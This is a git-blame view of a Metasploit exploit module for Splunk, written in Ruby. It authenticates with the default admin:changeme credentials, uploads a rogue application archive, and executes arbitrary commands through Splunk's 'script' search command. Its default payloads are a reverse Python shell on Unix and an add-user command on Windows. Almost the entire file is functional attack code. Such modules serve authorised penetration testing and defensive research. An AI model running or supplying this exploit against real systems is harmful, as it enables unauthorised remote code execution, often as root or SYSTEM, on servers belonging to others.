Files
metasploit-gs/modules/exploits/multi/http/splunk_upload_app_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

487 lines
17 KiB
Ruby
Raw Normal View History

2012-12-07 11:55:48 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-12-07 11:55:48 +01:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
def initialize(info = {})
super(update_info(
info,
2014-07-09 17:56:06 -04:00
'Name' => 'Splunk Custom App Remote Code Execution',
'Description' =>
'This module exploits a feature of Splunk whereby a custom application can be
uploaded through the web based interface. Through the \'script\' search command a
2012-12-07 11:55:48 +01:00
user can call commands defined in their custom application which includes arbitrary
perl or python code. To abuse this behavior, a valid Splunk user with the admin
role is required. By default, this module uses the credential of "admin:changeme",
the default Administrator credential for Splunk. Note that the Splunk web interface
2014-07-09 17:56:06 -04:00
runs as SYSTEM on Windows, or as root on Linux by default. This module has been
2019-03-18 09:12:00 +01:00
tested successfully against Splunk 5.0, 6.1, 6.1.1 and 7.2.4.
Version 7.2.4 has been tested successfully against OSX as well',
2012-12-07 11:55:48 +01:00
'Author' =>
[
2019-03-18 09:12:00 +01:00
"marcwickenden", # discovery and metasploit module
"sinn3r", # metasploit module
"juan vazquez", # metasploit module
"Gary Blosser", # metasploit module updates for Splunk 6.1
"Matteo Malvica" # metasploit module updates for Splunk 7.2.4
2012-12-07 11:55:48 +01:00
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html' ],
[ 'URL', 'http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html' ],
[ 'URL', 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ]
],
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true
},
2019-03-18 09:12:00 +01:00
'Platform' => %w(linux unix win osx),
2012-12-07 11:55:48 +01:00
'Targets' =>
[
2019-03-18 09:12:00 +01:00
[ 'Splunk >= 7.2.4 / Linux',
{
'Arch' => ARCH_CMD,
2019-03-18 19:00:33 +01:00
'Platform' => %w(linux unix),
2019-03-18 15:11:04 +01:00
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'}
2019-03-18 09:12:00 +01:00
}
],
[ 'Splunk >= 7.2.4 / Windows',
{
'Arch' => ARCH_CMD,
2019-03-18 19:00:33 +01:00
'Platform' => 'win',
2019-03-18 15:11:04 +01:00
'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/adduser'}
2019-03-18 09:12:00 +01:00
}
],
[ 'Splunk >= 7.2.4 / OSX',
{
'Arch' => ARCH_CMD,
2019-03-18 19:00:33 +01:00
'Platform' => %w(linux unix),
2019-03-18 15:11:04 +01:00
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'}
2019-03-18 09:12:00 +01:00
}
],
2014-07-09 17:56:06 -04:00
[ 'Splunk >= 5.0.1 / Linux',
2012-12-07 11:57:11 +01:00
{
'Arch' => ARCH_CMD,
2019-03-18 19:04:45 +01:00
'Platform' => %w(linux unix),
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'}
2012-12-07 11:57:11 +01:00
}
2012-12-07 11:55:48 +01:00
],
2014-07-09 17:56:06 -04:00
[ 'Splunk >= 5.0.1 / Windows',
2012-12-07 11:55:48 +01:00
{
'Arch' => ARCH_CMD,
2019-03-18 19:04:45 +01:00
'Platform' => 'win',
'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/adduser'}
2012-12-07 11:55:48 +01:00
}
]
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-09-27'))
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
register_options(
[
Opt::RPORT(8000),
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'changeme' ]),
OptPath.new(
'SPLUNK_APP_FILE',
2012-12-07 11:55:48 +01:00
[
true,
'The "rogue" Splunk application tgz',
File.join(Msf::Config.install_root, 'data', 'exploits', 'splunk', 'upload_app_exec.tgz')
])
])
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
register_advanced_options(
[
OptBool.new('ReturnOutput', [ true, 'Display command output', false ]),
OptBool.new('DisableUpload', [ true, 'Disable the app upload if you have already performed it once', false ]),
OptBool.new('EnableOverwrite', [true, 'Overwrites an app of the same name. Needed if you change the app code in the tgz', false]),
OptInt.new('CommandOutputDelay', [true, 'Seconds to wait before requesting command output from Splunk', 5])
])
2012-12-07 11:55:48 +01:00
end
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
def exploit
# process standard options
@username = datastore['USERNAME']
@password = datastore['PASSWORD']
file_name = datastore['SPLUNK_APP_FILE']
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
# process advanced options
return_output = datastore['ReturnOutput']
disable_upload = datastore['DisableUpload']
@enable_overwrite = datastore['EnableOverwrite']
command_output_delay = datastore['CommandOutputDelay']
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
# set up some variables for later use
@auth_cookies = ''
@csrf_form_key = ''
2019-03-18 09:12:00 +01:00
@state_token = ''
@splunkweb_csrf_token_8000_id = ''
@csrf_form_port = "splunkweb_csrf_token_#{rport}" # Default to using rport, corrected during tokenization for v6 below.
2019-03-19 14:42:56 +01:00
@ver7 = false # splunk version 7 boolean
2012-12-07 11:55:48 +01:00
app_name = 'upload_app_exec'
p = payload.encoded
print_status("Using command: #{p}")
cmd = Rex::Text.encode_base64(p)
2013-08-30 16:28:54 -05:00
2019-03-19 14:42:56 +01:00
# check if the target version is 7.2.4
2019-03-18 09:12:00 +01:00
if target.name.include? "7.2.4"
@ver7 = true
end
2019-03-19 14:42:56 +01:00
do_login
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
# fetch the csrf token for use in the upload next
2019-03-18 09:12:00 +01:00
if @ver7 == true
do_get_state_token('/en-US/manager/appinstall/_upload')
else
do_get_csrf('/en-US/manager/launcher/apps/local')
end
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
unless disable_upload
# upload the arbitrary command execution Splunk app tgz
2019-03-18 09:12:00 +01:00
if @ver7 == true
do_upload_app_7(app_name, file_name)
else
do_upload_app(app_name, file_name)
end
2012-12-07 11:55:48 +01:00
end
2013-08-30 16:28:54 -05:00
2019-03-18 09:12:00 +01:00
if @ver7 == false
# get the next csrf token from our new app
do_get_csrf("/en-US/app/#{app_name}/flashtimeline")
end
2019-03-19 14:42:56 +01:00
2012-12-07 11:55:48 +01:00
# call our command execution function with the Splunk 'script' command
print_status("Invoking script command")
2019-03-18 09:12:00 +01:00
if @ver7 == true
res = send_request_cgi(
'uri' => '/en-US/splunkd/__raw/servicesNS/admin/search/search/jobs',
2012-12-07 11:55:48 +01:00
'method' => 'POST',
2019-03-18 09:12:00 +01:00
'cookie' => "#{@auth_cookies};", # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
2012-12-07 11:55:48 +01:00
'headers' =>
{
'X-Requested-With' => 'XMLHttpRequest',
2019-03-18 09:12:00 +01:00
'X-Splunk-Form-Key' => @splunkweb_csrf_token_8000_id # Version 6 ignores extra headers (verified)
2012-12-07 11:55:48 +01:00
},
'vars_post' =>
{
'search' => "search * | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf
'status_buckets' => "300",
'namespace' => "#{app_name}",
'ui_dispatch_app' => "#{app_name}",
'ui_dispatch_view' => "flashtimeline",
'auto_cancel' => "100",
'wait' => "0",
'required_field_list' => "*",
'adhoc_search_level' => "smart",
'earliest_time' => "0",
'latest_time' => "",
'timeFormat' => "%s.%Q"
}
)
2019-03-18 09:12:00 +01:00
else
res = send_request_cgi(
'uri' => '/en-US/api/search/jobs',
'method' => 'POST',
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}", # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
'headers' =>
{
'X-Requested-With' => 'XMLHttpRequest',
'X-Splunk-Form-Key' => @csrf_form_key # Version 6 ignores extra headers (verified)
},
'vars_post' =>
{
'search' => "search * | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf
'status_buckets' => "300",
'namespace' => "#{app_name}",
'ui_dispatch_app' => "#{app_name}",
'ui_dispatch_view' => "flashtimeline",
'auto_cancel' => "100",
'wait' => "0",
'required_field_list' => "*",
'adhoc_search_level' => "smart",
'earliest_time' => "0",
'latest_time' => "",
'timeFormat' => "%s.%Q"
}
)
end
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
if return_output
2019-11-26 15:38:34 +01:00
if @ver7 == true
2019-03-18 09:12:00 +01:00
res.body.match('sid.*')
job_id_blob = Regexp.last_match(0)
job_id_blob2 = job_id_blob.split('>')[1]
job_id = job_id_blob2.split('<')[0]
else
2012-12-07 11:55:48 +01:00
res.body.match(/data":\ "([0-9.]+)"/)
job_id = Regexp.last_match(1)
2019-03-18 09:12:00 +01:00
end
2012-12-07 11:55:48 +01:00
# wait a short time to let the output be produced
print_status("Waiting for #{command_output_delay} seconds to retrieve command output")
select(nil, nil, nil, command_output_delay)
2012-12-07 11:55:48 +01:00
job_output = fetch_job_output(job_id)
if job_output.body.match(/Waiting for data.../)
print_status("No output returned in time")
else
2012-12-07 11:55:48 +01:00
output = ""
job_output.body.each_line do |line|
# strip off the leading and trailing " added by Splunk
line.gsub!(/^"/, "")
line.gsub!(/"$/, "")
2012-12-07 11:55:48 +01:00
output << line
end
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
# return the output
print_status("Command returned:")
print_line output
end
else
handler
end
end
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
def check
# all versions are actually "vulnerable" but check implemented for future proofing
# and good practice
res = send_request_cgi(
{
'uri' => '/en-US/account/login',
'method' => 'GET'
}, 25)
2013-08-30 16:28:54 -05:00
if res && res.body =~ /Splunk Inc\. Splunk/
2014-01-21 13:03:36 -06:00
return Exploit::CheckCode::Detected
2012-12-07 11:55:48 +01:00
else
return Exploit::CheckCode::Safe
end
end
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
def do_login
print_status("Authenticating...")
# this method borrowed with thanks from splunk_mappy_exec.rb
res = send_request_cgi(
'uri' => '/en-US/account/login',
'method' => 'GET'
)
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
cval = ''
uid = ''
session_id_port =
session_id = ''
if res && res.code == 200
res.get_cookies.split(';').each do |c|
c.split(',').each do |v|
2012-12-07 11:55:48 +01:00
if v.split('=')[0] =~ /cval/
cval = v.split('=')[1]
elsif v.split('=')[0] =~ /uid/
uid = v.split('=')[1]
elsif v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
end
end
2012-12-07 11:55:48 +01:00
else
2013-08-15 14:14:46 -05:00
fail_with(Failure::NotFound, "Unable to get session cookies")
2012-12-07 11:55:48 +01:00
end
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
res = send_request_cgi(
'uri' => '/en-US/account/login',
'method' => 'POST',
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
'vars_post' =>
{
'cval' => cval,
'username' => @username,
'password' => @password
}
)
2013-08-30 16:28:54 -05:00
if !res
fail_with(Failure::Unreachable, "No response")
2019-03-18 09:12:00 +01:00
elsif res.code != 200
fail_with(Failure::Unreachable, "Authentication failed")
elsif @ver7 == true
splunkweb_csrf_token_8000_port = ''
@splunkweb_csrf_token_8000_id = ''
splunkd_8000_port = ''
splunkd_8000_id = ''
#puts res
res.get_cookies.split(';').each do |c|
c.split(',').each do |v|
if v.split('=')[0] =~ /splunkweb_csrf_token_8000/
splunkweb_csrf_token_8000_port = v.split('=')[0]
@splunkweb_csrf_token_8000_id = v.split('=')[1]
elsif v.split('=')[0] =~ /splunkd_8000/ # regex as the full name is something like splunkweb_csrf_token_8000
splunkd_8000_port = v.split('=')[0] # Accounting for tunnels where rport is not the actual server-side port
splunkd_8000_id = v.split('=')[1]
end
end
@auth_cookies = "session_id_8000=37305a4fb182fadd28a1591b64a0b22b0765159e;#{splunkweb_csrf_token_8000_port}=#{@splunkweb_csrf_token_8000_id};#{splunkd_8000_port}=#{splunkd_8000_id}; splunkweb_uid=30A93112-7681-4C0D-B1F6-17CAB1FA2735;login=true"
end
2012-12-07 11:55:48 +01:00
else
2019-03-18 09:12:00 +01:00
session_id_port = ''
session_id = ''
res.get_cookies.split(';').each do |c|
c.split(',').each do |v|
if v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
2012-12-07 11:55:48 +01:00
end
end
2019-03-18 09:12:00 +01:00
@auth_cookies = "#{session_id_port}=#{session_id}"
2012-12-07 11:55:48 +01:00
end
end
2019-03-19 14:42:56 +01:00
2012-12-07 11:55:48 +01:00
def do_upload_app(app_name, file_name)
archive_file_name = ::File.basename(file_name)
print_status("Uploading file #{archive_file_name}")
2022-03-10 18:03:35 +00:00
file_data = ::File.read(file_name, mode: 'rb')
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
boundary = '--------------' + rand_text_alphanumeric(6)
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
data = "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n\r\n"
data << "#{@csrf_form_key}"
data << "\r\n--#{boundary}\r\n"
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
if @enable_overwrite
data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n"
data << "1"
data << "\r\n--#{boundary}\r\n"
end
2013-08-30 16:28:54 -05:00
2012-12-07 11:55:48 +01:00
data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n"
data << "Content-Type: application/x-compressed\r\n\r\n"
data << file_data
data << "\r\n--#{boundary}--\r\n"
2013-08-30 16:28:54 -05:00
res = send_request_cgi(
{
'uri' => '/en-US/manager/appinstall/_upload',
'method' => 'POST',
# Does not seem to require the cookie, but it does not break it. I bet 6.2 will have a cookie here too.
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data
}, 30)
if res && (res.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
2017-07-19 12:48:52 +01:00
print_good("#{app_name} successfully uploaded")
2012-12-07 11:55:48 +01:00
else
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, "Error uploading")
2012-12-07 11:55:48 +01:00
end
end
2013-08-30 16:28:54 -05:00
2019-03-18 09:12:00 +01:00
# version 7.2.x only
def do_upload_app_7(app_name, file_name)
archive_file_name = ::File.basename(file_name)
print_status("Uploading file #{archive_file_name}")
2022-03-10 18:03:35 +00:00
file_data = ::File.read(file_name, mode: 'rb')
2019-03-18 09:12:00 +01:00
boundary = '---------------------------' + rand_text_numeric(29)
data = "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"state\"\r\n"
data << "\r\n#{@state_token}\r\n"
data << "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n"
data << "\r\n#{@splunkweb_csrf_token_8000_id}\r\n"
data << "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n"
data << "Content-Type: application/x-compressed-tar\r\n\r\n"
data << file_data
data << "\r\n--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n"
data << "1"
data << "\r\n--#{boundary}--\r\n"
2019-03-19 14:42:56 +01:00
2019-03-18 09:12:00 +01:00
res = send_request_cgi(
{
'uri' => '/en-US/manager/appinstall/_upload',
'method' => 'POST',
'cookie' => @auth_cookies,
2019-03-18 09:12:00 +01:00
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data
}, 30)
2019-03-19 14:58:31 +01:00
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
unless res.code == 303 || res.code == 200
fail_with(Failure::UnexpectedReply, "Unexpected reply (HTTP #{res.code})")
end
if res.body.include?('There was an error processing the upload')
2019-03-18 09:12:00 +01:00
fail_with(Failure::Unknown, "Error uploading")
end
2019-03-19 14:58:31 +01:00
print_good("#{app_name} successfully uploaded")
2019-03-19 15:28:24 +01:00
2019-03-19 15:08:51 +01:00
end
2019-03-19 15:28:24 +01:00
2012-12-07 11:55:48 +01:00
def do_get_csrf(uri)
print_status("Fetching csrf token from #{uri}")
res = send_request_cgi(
'uri' => uri,
'method' => 'GET',
'cookie' => @auth_cookies
)
2014-07-09 17:56:06 -04:00
res.body.match(/FORM_KEY":\ "(\d+)"/) # Version 5
@csrf_form_key = Regexp.last_match(1)
2014-07-09 17:56:06 -04:00
unless @csrf_form_key # Version 6
res.get_cookies.split(';').each do |c|
c.split(',').each do |v|
if v.split('=')[0] =~ /splunkweb_csrf_token/ # regex as the full name is something like splunkweb_csrf_token_8000
2014-07-09 17:56:06 -04:00
@csrf_form_port = v.split('=')[0] # Accounting for tunnels where rport is not the actual server-side port
@csrf_form_key = v.split('=')[1]
end
end
end
2014-07-09 17:56:06 -04:00
end
fail_with(Failure::Unknown, "csrf form Key not found") unless @csrf_form_key
2012-12-07 11:55:48 +01:00
end
2013-08-30 16:28:54 -05:00
2019-03-18 09:12:00 +01:00
# version 7.2.x only
def do_get_state_token(uri)
2019-03-19 15:28:24 +01:00
print_status("Fetching state token from #{uri}")
res = send_request_cgi(
'uri' => uri,
'method' => 'GET',
'cookie' => @auth_cookies
)
#puts res
res.body.match('name=\"state\" value="(.*)"') # Version 5
@state_token = Regexp.last_match(1)
unless @state_token
fail_with(Failure::Unknown, "state token form Key not found")
end
2019-03-18 09:12:00 +01:00
end
2012-12-07 11:55:48 +01:00
def fetch_job_output(job_id)
# fetch the output of our job id as csv for easy parsing
print_status("Fetching job_output for id #{job_id}")
send_request_raw(
'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000",
2012-12-07 11:55:48 +01:00
'method' => 'GET',
'cookie' => @auth_cookies,
'encode_param' => 'false'
)
2012-12-07 11:55:48 +01:00
end
end